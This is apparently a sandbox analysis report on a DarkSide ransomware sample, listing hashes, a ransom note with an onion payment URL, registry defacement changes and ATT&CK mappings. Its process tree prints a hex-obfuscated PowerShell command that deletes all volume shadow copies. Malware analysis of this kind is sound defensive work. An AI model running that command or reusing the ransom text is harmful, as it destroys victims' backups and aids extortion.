darkside | 0f808fd3ecf9d722aafeee46b57aad4d07f39c98be6f6148be979ed470cf0a99

Resubmissions

27-01-2024 19:37

240127-yb5pksafd3 10

27-01-2024 19:36

240127-ybqwesafc2 10

12-05-2021 15:56

210512-db4t7vmwas 10

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
27-01-2024 19:36

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General

Target

8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Size

59KB
MD5

04fde4340cc79cd9e61340d4c1e8ddfb
SHA1

88fc623483f7ffe57f986ed10789e6723083fcd8
SHA256

8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc
SHA512

105ddfb8bbfedc8460fb1e6d26c6cd02ea81bfdc12a196c1c2f8e52bc73faf03a688339b4c231ab5b5b3885f2ad248115c32c95fc64e84462a16c3e237e6fc9c
SSDEEP

768:TTjagICPhDt3bS4nyz2CuwSbV5dNcxGV1yldoZrY23W5o:BpDtG4nMpboDTV1ylVZ5

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.3b86d701.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/GM0CG8TNZ83ZPUD15TL76BLDCG0ST24TR6NXG1J2AVXSKF8KS4KFIIN2ON5GRWD4 When you open our website, put the following data in the input form: Key: lsJTyyTnzJlGQ1I6sfwV6oVcXaRynwN6mWphA7BKXEDIHJcDlhNNHsrxlkpggRChK2nQ7wP0sknJvl37lbqElTopkUywK3QnfJFmqDBSCmFISeWSudjgwxB4kKSp7h4VySHeu4LmDiZXTAh1dbZHWxTtZ0bA6PhCoDrbGkctY4rucITW4IdYUZJC8d2B7SFnr5EA7EoRkajrZW54brM5Kgwqsz67qzH6Hk0Vr3EDcnGzNjGQBapJczIWkgPtMCJdTkeemQ34XH7wawXu3eOGV3uJlBZNoSuaxtDHMGApS8EWsUXhafMW8WxFLAPLCo6pdm7MLcLsVDp9iBXU1sLv2KkGyUJbO0KOmom9f1JREuidviHRfsndEgMFBAjyq5v4VEIraiioAbtWM7eecYaXPVt3rolsBi8mtjxLOpFj73NPPitoIDxBNfHGzXxvRTXi06Pjx9pRnAtjIqoq5wovnHa8uBel8nq8yDJTk7NWdGdsv3yVwV2TmBin7OvFqHN9lweFNJyuziKCVGEtSaglUNudMmpFnNObGlhfh58jQsrQiQZ2d3AOFsi !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/GM0CG8TNZ83ZPUD15TL76BLDCG0ST24TR6NXG1J2AVXSKF8KS4KFIIN2ON5GRWD4

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (163) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\3b86d701.BMP"	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\3b86d701.BMP"	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Control Panel\Desktop\WallpaperStyle = "10"	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

Modifies registry class 5 IoCs

Processes:

8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\3b86d701	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\3b86d701\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\3b86d701.ico"	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.3b86d701	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.3b86d701\ = "3b86d701"	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\3b86d701\DefaultIcon	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

pid	process
2156	powershell.exe
2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeSecurityPrivilege	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeTakeOwnershipPrivilege	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeLoadDriverPrivilege	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeSystemProfilePrivilege	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeSystemtimePrivilege	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeProfSingleProcessPrivilege	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeIncBasePriorityPrivilege	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeCreatePagefilePrivilege	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeBackupPrivilege	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeRestorePrivilege	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeShutdownPrivilege	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeDebugPrivilege	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeSystemEnvironmentPrivilege	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeRemoteShutdownPrivilege	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeUndockPrivilege	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeManageVolumePrivilege	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: 33	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: 34	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: 35	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Token: SeDebugPrivilege	2156	powershell.exe
Token: SeBackupPrivilege	2000	vssvc.exe
Token: SeRestorePrivilege	2000	vssvc.exe
Token: SeAuditPrivilege	2000	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe

description	pid	process	target process
PID 2376 wrote to memory of 2156	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe	powershell.exe
PID 2376 wrote to memory of 2156	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe	powershell.exe
PID 2376 wrote to memory of 2156	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe	powershell.exe
PID 2376 wrote to memory of 2156	2376	8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
"C:\Users\Admin\AppData\Local\Temp\8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2376

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2156

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2000

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Defacement

T1491

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
d3702d972866454dc8c6301af586ff15

SHA1
8a334fdd1e9ae20cfa556ce0419a65f18155effc

SHA256
d9fcadb6b9c84e1b23a0552be0892a6de112de72cc9831ce66ebd0c4d4aebe93

SHA512
fddd3eec2dcdc2354c2a174eb4017afac39e3941b8fbf9088222c5984be10db21f9217baa298d8016a451fb7209e6c70944d9a3b003dc92fc62809c1c8c4c966

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab1631.tmp
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar1653.tmp
Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
f25ba48a51e26efc16464a2b7368a76a

SHA1
2f5a468746ee56fa067fc6a4649516e396b6079e

SHA256
7859528af4d82630634e9442389fbf864aca6d0ff57c8f5c7747b2f53963adb9

SHA512
75112d134fed7dc57bc2e71be76c5eb961e35d60590febe257e5f4920c94d069ed2fd5ce593745a0c81a93d80cc113265b2f7c159aab763b5e99514f360b2d34

Download Submit
C:\Users\Admin\README.3b86d701.TXT
Filesize
1KB

MD5
6f01b410c20010de920706c44a01d4dd

SHA1
9788131507b7164647d996dc03dfceb2818107e8

SHA256
c0b5f7c6add9a723683e5e619655ac92b412264e48854787f7f903842bec63c8

SHA512
fa832beb2b7c50b52942f5997033938e2c5adc27e78af8ee52a780c6c98145a8008053b17047d527a6d4844361676f7571521834750046d95977c41785bec421

Download Submit
memory/2156-62-0x0000000002B40000-0x0000000002BC0000-memory.dmp

Filesize
512KB

Download
memory/2156-60-0x0000000002B40000-0x0000000002BC0000-memory.dmp

Filesize
512KB

Download
memory/2156-64-0x0000000002B40000-0x0000000002BC0000-memory.dmp

Filesize
512KB

Download
memory/2156-63-0x0000000002B40000-0x0000000002BC0000-memory.dmp

Filesize
512KB

Download
memory/2156-61-0x000007FEF48E0000-0x000007FEF527D000-memory.dmp

Filesize
9.6MB

Download
memory/2156-65-0x000007FEF48E0000-0x000007FEF527D000-memory.dmp

Filesize
9.6MB

Download
memory/2156-58-0x0000000002770000-0x0000000002778000-memory.dmp

Filesize
32KB

Download
memory/2156-59-0x000007FEF48E0000-0x000007FEF527D000-memory.dmp

Filesize
9.6MB

Download
memory/2156-57-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download